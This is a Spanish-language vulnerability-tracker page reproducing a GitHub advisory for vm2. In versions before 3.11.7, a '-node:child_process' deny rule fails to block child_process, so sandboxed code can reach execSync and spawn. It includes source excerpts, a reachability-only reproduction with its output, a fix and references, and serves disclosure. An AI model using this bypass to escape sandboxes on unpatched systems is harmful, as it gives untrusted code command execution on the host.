llamaCVEVulnerability Intelligence
/
Advisory · GitHub · npm · vm2

GHSA-8686-VHFX-7R3J

vm2: NodeVM node:-prefixed negative builtin deny bypass exposes child_process

Parche disponible
Descargar PNG JSON
CVSS
—
critical
Fuente: —
ExplotaciónSin evidenciaNo figura en CISA KEV
Exploits públicos0Ninguno conocido
Parche1 versiónPrimer parche a -38 d de la divulgación
Exposición49 dDesde la divulgación, 1 oct 2026, 10:36 a. m.
Detección46 dDesde la divulgación hasta su ingreso al índice
Timeline

Ciclo de vida de la vulnerabilidad

Hoy
Divulgación
Publicada +1
Explotación
Remediación
Parche 3.11.7
Monitoreo
Detectada
24 ago 26
1 oct 26
17 nov 26
19 nov 26
24 ago 26
15 sept 26
7 oct 26
29 oct 26
19 nov 26
FechaFaseEventoDetalle
Remediación Parche 3.11.7 vm2 · -38 d desde divulgación
Divulgación Publicada GHSA-8686-VHFX-7R3J divulgada
Divulgación Modificada Última actualización del registro
Monitoreo Detectada Ingresó al índice
Resumen
Descripción del advisory
Texto original · GitHub · en inglés

Summary

NodeVM normalizes `node:`-prefixed builtin specifiers during `require()` resolution, but it does not normalize user-provided negative builtin entries in wildcard policy.

As a result, this configuration:

new NodeVM({
  require: {
    builtin: ['*', '-node:child_process']
  }
});

does not deny the canonical `child_process` builtin. Sandboxed code can require both `child_process` and `node:child_process`, and receives the host module with process-spawning APIs such as `execSync` and `spawn`.

The safe proof below only checks module and function reachability. It does not execute any OS command.

Affected Mode

NodeVM.

Affected Configuration

new NodeVM({
  require: {
    builtin: ['*', '-node:child_process']
  }
});

This affects users who deny builtins using their `node:`-prefixed spelling, expecting `-node:child_process` to deny `require('node:child_process')` and `require('child_process')`.

Affected Files / Functions

  • `lib/builtin.js`
  • `makeBuiltinsFromLegacyOptions`
  • wildcard builtin expansion
  • exact negative entry check: `builtins.indexOf(\`-${name}\`)`
  • `addDefaultBuiltin`
  • `lib/resolver.js`
  • `Resolver.resolve`
  • `lib/setup-node-sandbox.js`
  • `requireImpl`
  • `node:` prefix stripping before builtin load

Root Cause

`lib/setup-node-sandbox.js` strips the `node:` prefix from resolved builtin filenames before loading the builtin:

if (localStringPrototypeStartsWith(filename, 'node:')) {
  id = localStringPrototypeSlice(filename, 5);
  let nmod = cacheBuiltins[id];
  if (!nmod) {
    nmod = loadBuiltinModule(id);
    if (!nmod) throw new VMError(`Cannot find module '${filename}'`, 'ENOTFOUND');
    cacheBuiltins[id] = nmod;
  }
  return nmod;
}

But `lib/builtin.js` checks wildcard negative entries by exact string match against the names in `BUILTIN_MODULES`:

if (builtins.indexOf(`-${name}`) === -1) {
  addDefaultBuiltin(res, name, hostRequire);
}

`BUILTIN_MODULES` contains the canonical name `child_process`, not `node:child_process`. Therefore `-node:child_process` does not exclude `child_process`, and `addDefaultBuiltin()` registers the host builtin.

Security Boundary Crossed

Sandboxed code reaches a host builtin that the embedder attempted to deny.

Boundary crossed:

  • sandbox -> host `child_process` builtin
  • sandbox -> host process-spawning function references

Impact

Confirmed impact:

  • `require('child_process')` succeeds inside the sandbox.
  • `require('node:child_process')` succeeds inside the sandbox.
  • The returned module exposes `execSync` and `spawn` as functions.

Worst confirmed impact is access to host process-spawning APIs. The proof does not execute any command.

The proof does not execute a command, but it confirms access to the host child_process module and its process-spawning APIs. For untrusted sandbox code, this is equivalent to command execution capability.

Safe Local Reproduction

Tested on Node.js `v24.14.0`.

This proof only checks whether the module and dangerous functions are reachable. It does not spawn a process and does not run OS commands.

'use strict';

const { NodeVM } = require('./');

function probe(builtin) {
  const vm = new NodeVM({
    require: {
      builtin
    }
  });

  return vm.run(`
    const out = {};

    for (const spec of ['child_process', 'node:child_process']) {
      try {
        const cp = require(spec);
        out[spec] = {
          loaded: true,
          execSyncType: typeof cp.execSync,
          spawnType: typeof cp.spawn,
          moduleToStringTag: Object.prototype.toString.call(cp)
        };
      } catch (e) {
        out[spec] = {
          loaded: false,
          name: e && e.name,
          code: e && e.code,
          message: e && e.message
        };
      }
    }

    module.exports = out;
  `);
}

console.log(JSON.stringify({
  nodeVersion: process.version,
  denyNodePrefixed: probe(['*', '-node:child_process']),
  denyCanonical: probe(['*', '-child_process'])
}, null, 2));

Observed result:

{
  "nodeVersion": "v24.14.0",
  "denyNodePrefixed": {
    "child_process": {
      "loaded": true,
      "execSyncType": "function",
      "spawnType": "function",
      "moduleToStringTag": "[object Object]"
    },
    "node:child_process": {
      "loaded": true,
      "execSyncType": "function",
      "spawnType": "function",
      "moduleToStringTag": "[object Object]"
    }
  },
  "denyCanonical": {
    "child_process": {
      "loaded": false,
      "name": "VMError",
      "code": "ENOTFOUND",
      "message": "Cannot find module 'child_process'"
    },
    "node:child_process": {
      "loaded": false,
      "name": "VMError",
      "code": "ENOTFOUND",
      "message": "Cannot find module 'node:child_process'"
    }
  }
}

Expected Secure Behavior

`-node:child_process` and `-child_process` should be equivalent.

If either spelling is denied, both of these should fail:

require('child_process')
require('node:child_process')

Suggested Fix

  1. Canonicalize builtin names before allow/deny comparison:
  2. Strip `node:` from user-provided builtin entries.
  3. Preserve whether an entry is negative (`-...`) before canonicalizing.
  4. Store and compare one canonical builtin key.
  1. Apply the same normalization to:
  2. wildcard negative entries
  3. explicit allowlist entries
  4. object-form builtin entries
  5. mock/override keys if they are intended to support `node:` spelling
  1. Add regression tests:
  2. `builtin: ['*', '-node:child_process']` blocks `child_process`.
  3. `builtin: ['*', '-node:child_process']` blocks `node:child_process`.
  4. `builtin: ['*', '-node:fs']` blocks `fs` and `node:fs`.
  5. `builtin: ['*', '-node:fs/promises']` and `-fs/promises` behave consistently.
  6. Canonical dangerous builtins remain denied even if explicitly requested with `node:` spelling.
Versiones

Rangos afectados

Afectada Corregida Última
vm2< 3.11.7
3.11.7
3.12.2
Remediación

Estado del parche por paquete

Paquete / productoEstadoCorregida enDesde divulgaciónÚltima versión
npmvm2
Corregida 3.11.7 -38 d 3.12.2 no afectada
Versiones corregidas3.11.7
Explotación

Arsenal público

Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.

Referencias
Advisoryhttps://nvd.nist.gov/vuln/detail/CVE-2026-92957
Otrahttps://github.com/patriksimek/vm2/security/advisories/GHSA-8686-vhfx-7r3j
Otrahttps://github.com/patriksimek/vm2/commit/b0f50662dd499ff33544bb42387958c64711af1e
Otrahttps://github.com/patriksimek/vm2
Otrahttps://github.com/patriksimek/vm2/releases/tag/v3.11.7
Otrahttps://www.vulncheck.com/advisories/vm2-before-3.11.7-authentication-bypass-via-node-prefix

Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.